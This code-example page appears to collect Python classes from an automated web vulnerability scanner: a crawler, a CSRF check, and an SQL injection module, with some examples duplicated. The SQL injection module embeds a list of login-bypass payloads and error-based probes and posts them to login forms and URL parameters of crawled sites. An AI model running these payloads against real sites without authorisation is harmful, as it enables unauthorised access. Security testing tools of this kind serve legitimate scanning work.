Esempio n. 1
0
class Crawler(object):
    def __init__(self, process, root):
        self.queue = URLlist()
        self.queue.put_url(root)
        self.final_list = URLlist()
        self.final_list.put_url(root)

        db = DBAdapter()
        db.update_process(process, 2)  # Status: 2, crawling.
        db.close_connection()

    def crawl(self):
        while True:
            url = self.queue.get_url()

            if url is None:
                break

            self.__fetch_urls(url.get_url())

        return self.final_list

    def __fetch_urls(self, url):
        page = Fetcher(url)
        response = page.fetch()

        for link in response:
            self.queue.put_url(link)
            self.final_list.put_url(link)
Esempio n. 2
0
class Crawler(object):
    def __init__(self, process, root):
        self.queue = URLlist()
        self.queue.put_url(root)
        self.final_list = URLlist()
        self.final_list.put_url(root)

        db = DBAdapter()
        db.update_process(process, 2)  # Status: 2, crawling.
        db.close_connection()

    def crawl(self):
        while True:
            url = self.queue.get_url()

            if url is None:
                break

            self.__fetch_urls(url.get_url())

        return self.final_list

    def __fetch_urls(self, url):
        page = Fetcher(url)
        response = page.fetch()

        for link in response:
            self.queue.put_url(link)
            self.final_list.put_url(link)
Esempio n. 3
0
class CSRF(object):
    def __init__(self, url_list, process, user):
        self.process = process
        self.user = user

        if url_list is None:
            self.url_list = URLlist()
        else:
            self.url_list = url_list

        db = DBAdapter()
        db.update_process(process, 4)  # Status: 4, csrf search.
        db.close_connection()

    def search_security_flaws(self):
        while True:
            url = self.url_list.get_url()
            if url is None or type(url) is not URL:
                break

            if url.is_online():
                content = url.get_content()
                forms = content('form')
                for form in forms:
                    inputs = form('input')
                    for i in inputs:
                        t = i.get("type")
                        if t == "hidden":
                            name = i.get("name")
                            if name == "hash" or name == "token" or name == "CSRFToken":
                                return False
                    self.__save_results(url, 10)
                    return True
        return True

    def __save_results(self, web, v_type):
        w = web.get_url()
        db = DBAdapter()
        db.vulnerability_found(self.process, w, v_type)
        db.close_connection()

        data = {
            "PROCESS": self.process,
            "WEB": w,
            "VULNERABILITY": "CSRF",
            "USER": self.user
        }
        requests.post(api, json=data)
Esempio n. 4
0
class SQLInjection(object):
    def __init__(self, url_list, process, user):
        self.process = process
        self.user = user

        if url_list is None:
            self.url_list = URLlist()
        else:
            self.url_list = url_list

        db = DBAdapter()
        db.update_process(process, 3)  # Status: 3, SQL injection search.
        db.close_connection()

        # http://stackoverflow.com/questions/9626535/get-domain-name-from-url
        # self.domain = "{0.scheme}://{0.netloc}/".format(urllib.parse.urlsplit(url))

        # http://www.hacoder.com/2015/10/sql-injection-authentication-bypass-cheat-sheet/
        self.input_data = [
            'admin\'--', '\' or 1=1', ' or 1=1', 'or 1=1--', 'or 1=1#',
            'or 1=1/*', 'admin\' #', 'admin\'/*', 'admin\' or \'1\'=\'1',
            'admin\' or \'1\'=\'1\'--', 'admin\' or \'1\'=\'1\'#',
            'admin\' or \'1\'=\'1\'/*', 'admin\'or 1=1 or \'\'=\'',
            'admin\' or 1=1', 'admin\' or 1=1--', 'admin\' or 1=1#',
            'admin\' or 1=1/*', 'admin\') or (\'1\'=\'1',
            'admin\') or (\'1\'=\'1\'--', 'admin\') or (\'1\'=\'1\'#',
            'admin\') or (\'1\'=\'1\'/*', 'admin\') or \'1\'=\'1',
            'admin\') or \'1\'=\'1\'--', 'admin\') or \'1\'=\'1\'#',
            'admin\') or \'1\'=\'1\'/*', 'admin" --', 'admin" #', 'admin"/*',
            'admin" or "1"="1', 'admin" or "1"="1"--', 'admin" or "1"="1"#',
            'admin" or "1"="1"/*', 'admin"or 1=1 or ""="', 'admin" or 1=1',
            'admin" or 1=1--', 'admin" or 1=1#', 'admin" or 1=1/*',
            'admin") or ("1"="1', 'admin") or ("1"="1"--',
            'admin") or ("1"="1"#', 'admin") or ("1"="1"/*',
            'admin") or "1"="1', 'admin") or "1"="1"--', 'admin") or "1"="1"#',
            'admin") or "1"="1"/*'
        ]

        self.error_based_sqli_param_data = [
            '\'', 'A%\' and 1=1--', 'A%\' and 1=2--'
        ]

        # self.serialized_param_data = []

        # https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf, page 111.
        self.sql_errors = {
            'MySQL': 'you have an error in your sql syntax',
            'MSSQL': 'microsoft sql native client error',
            'Oracle': 'ora-00933: sql command not properly ended',
            'PostgreSQL': 'query failed: error: syntax error at or near'
        }

    def search_injections(self):
        while True:
            url = self.url_list.get_url()
            if url is None or type(url) is not URL:
                break

            if url.is_online():
                self.__authentication_attempt(url)
                self.__error_based_sqli(url)
                # self.__serialized_sqli(url)

    def __authentication_attempt(self, url):
        web = url.get_content()
        forms = web('form')
        for form in forms:
            action = form.get("action")
            domain = "{0.scheme}://{0.netloc}/".format(urlsplit(action))
            if domain == ":///":  # The link may be relative.
                action = urljoin(url.get_url(), action)
            inputs = form('input')
            data = []
            input_text_counter = 0
            input_pass_counter = 0
            for i in inputs:  # If there is a form with only a text and a password input then it's a logging in form.
                t = i.get("type")
                if t == "text":
                    input_text_counter += 1
                elif t == "password":
                    input_pass_counter += 1
                data.append(i.get("name"))

                if input_text_counter > 2 or input_pass_counter > 2:
                    break

            if input_text_counter == 1 and input_pass_counter == 1:  # Form found.
                for i in self.input_data:  # Attempting signing in with injection examples.
                    d = {data[0]: i, data[1]: i}
                    r = requests.post(action, data=urllib.parse.urlencode(d))
                    response = r.text
                    if action not in response:  # If the logging form doesn't exist, the attempt is a success.
                        self.__save_results(url, 1)
                        return True  # It is not necessary to keep going, we found an sql injection.
        return False

    def __error_based_sqli(self, url):
        params = self.__get_parameters(url.get_url())
        u = "{0.scheme}://{0.netloc}{0.path}".format(
            urllib.parse.urlsplit(url.get_url()))
        for x, y in params:
            for p in self.error_based_sqli_param_data:
                data = {x: p}
                r = requests.get(u, params=urllib.parse.urlencode(data))
                response = r.text
                for d, e in self.sql_errors.items():
                    if e in response.lower():
                        self.__save_results(url, 2)
                        return True
        return False

    def __time_based_blind_sqli(self, url):
        # params = self.__get_parameters(url)
        # self.__save_results(url, 3)
        return False

    def __serialized_sqli(self, url):
        # params = self.__get_parameters(url)
        # self.__save_results(url, 4)
        return False

    def __get_parameters(self, url):
        parsed = urllib.parse.urlparse(url)
        params = urllib.parse.parse_qsl(parsed.query)
        return params

    def __save_results(self, web, v_type):
        w = web.get_url()
        db = DBAdapter()
        db.vulnerability_found(self.process, w, v_type)
        db.close_connection()

        if v_type == 1:
            v = "Authentication attempt"
        elif v_type == 2:
            v = "Error based SQL injection"
        else:
            v = "SQL injection"

        data = {
            "PROCESS": self.process,
            "WEB": w,
            "VULNERABILITY": v,
            "USER": self.user
        }
        requests.post(api, json=data)
Esempio n. 5
0
class SQLInjection(object):
    def __init__(self, url_list, process, user):
        self.process = process
        self.user = user

        if url_list is None:
            self.url_list = URLlist()
        else:
            self.url_list = url_list

        db = DBAdapter()
        db.update_process(process, 3)  # Status: 3, SQL injection search.
        db.close_connection()

        # http://stackoverflow.com/questions/9626535/get-domain-name-from-url
        # self.domain = "{0.scheme}://{0.netloc}/".format(urllib.parse.urlsplit(url))

        # http://www.hacoder.com/2015/10/sql-injection-authentication-bypass-cheat-sheet/
        self.input_data = [
            'admin\'--',
            '\' or 1=1',
            ' or 1=1',
            'or 1=1--',
            'or 1=1#',
            'or 1=1/*',
            'admin\' #',
            'admin\'/*',
            'admin\' or \'1\'=\'1',
            'admin\' or \'1\'=\'1\'--',
            'admin\' or \'1\'=\'1\'#',
            'admin\' or \'1\'=\'1\'/*',
            'admin\'or 1=1 or \'\'=\'',
            'admin\' or 1=1',
            'admin\' or 1=1--',
            'admin\' or 1=1#',
            'admin\' or 1=1/*',
            'admin\') or (\'1\'=\'1',
            'admin\') or (\'1\'=\'1\'--',
            'admin\') or (\'1\'=\'1\'#',
            'admin\') or (\'1\'=\'1\'/*',
            'admin\') or \'1\'=\'1',
            'admin\') or \'1\'=\'1\'--',
            'admin\') or \'1\'=\'1\'#',
            'admin\') or \'1\'=\'1\'/*',
            'admin" --',
            'admin" #',
            'admin"/*',
            'admin" or "1"="1',
            'admin" or "1"="1"--',
            'admin" or "1"="1"#',
            'admin" or "1"="1"/*',
            'admin"or 1=1 or ""="',
            'admin" or 1=1',
            'admin" or 1=1--',
            'admin" or 1=1#',
            'admin" or 1=1/*',
            'admin") or ("1"="1',
            'admin") or ("1"="1"--',
            'admin") or ("1"="1"#',
            'admin") or ("1"="1"/*',
            'admin") or "1"="1',
            'admin") or "1"="1"--',
            'admin") or "1"="1"#',
            'admin") or "1"="1"/*'
        ]

        self.error_based_sqli_param_data = [
            '\'',
            'A%\' and 1=1--',
            'A%\' and 1=2--'
        ]

        # self.serialized_param_data = []

        # https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf, page 111.
        self.sql_errors = {
            'MySQL': 'you have an error in your sql syntax',
            'MSSQL': 'microsoft sql native client error',
            'Oracle': 'ora-00933: sql command not properly ended',
            'PostgreSQL': 'query failed: error: syntax error at or near'
        }

    def search_injections(self):
        while True:
            url = self.url_list.get_url()
            if url is None or type(url) is not URL:
                break

            if url.is_online():
                self.__authentication_attempt(url)
                self.__error_based_sqli(url)
                # self.__serialized_sqli(url)

    def __authentication_attempt(self, url):
        web = url.get_content()
        forms = web('form')
        for form in forms:
            action = form.get("action")
            domain = "{0.scheme}://{0.netloc}/".format(urlsplit(action))
            if domain == ":///":  # The link may be relative.
                action = urljoin(url.get_url(), action)
            inputs = form('input')
            data = []
            input_text_counter = 0
            input_pass_counter = 0
            for i in inputs:  # If there is a form with only a text and a password input then it's a logging in form.
                t = i.get("type")
                if t == "text":
                    input_text_counter += 1
                elif t == "password":
                    input_pass_counter += 1
                data.append(i.get("name"))

                if input_text_counter > 2 or input_pass_counter > 2:
                    break

            if input_text_counter == 1 and input_pass_counter == 1:  # Form found.
                for i in self.input_data:  # Attempting signing in with injection examples.
                    d = {
                        data[0]: i,
                        data[1]: i
                    }
                    r = requests.post(action, data=urllib.parse.urlencode(d))
                    response = r.text
                    if action not in response:  # If the logging form doesn't exist, the attempt is a success.
                        self.__save_results(url, 1)
                        return True  # It is not necessary to keep going, we found an sql injection.
        return False

    def __error_based_sqli(self, url):
        params = self.__get_parameters(url.get_url())
        u = "{0.scheme}://{0.netloc}{0.path}".format(urllib.parse.urlsplit(url.get_url()))
        for x, y in params:
            for p in self.error_based_sqli_param_data:
                data = {
                    x: p
                }
                r = requests.get(u, params=urllib.parse.urlencode(data))
                response = r.text
                for d, e in self.sql_errors.items():
                    if e in response.lower():
                        self.__save_results(url, 2)
                        return True
        return False

    def __time_based_blind_sqli(self, url):
        # params = self.__get_parameters(url)
        # self.__save_results(url, 3)
        return False

    def __serialized_sqli(self, url):
        # params = self.__get_parameters(url)
        # self.__save_results(url, 4)
        return False

    def __get_parameters(self, url):
        parsed = urllib.parse.urlparse(url)
        params = urllib.parse.parse_qsl(parsed.query)
        return params

    def __save_results(self, web, v_type):
        w = web.get_url()
        db = DBAdapter()
        db.vulnerability_found(self.process, w, v_type)
        db.close_connection()

        if v_type == 1:
            v = "Authentication attempt"
        elif v_type == 2:
            v = "Error based SQL injection"
        else:
            v = "SQL injection"

        data = {
            "PROCESS": self.process,
            "WEB": w,
            "VULNERABILITY": v,
            "USER": self.user
        }
        requests.post(api, json=data)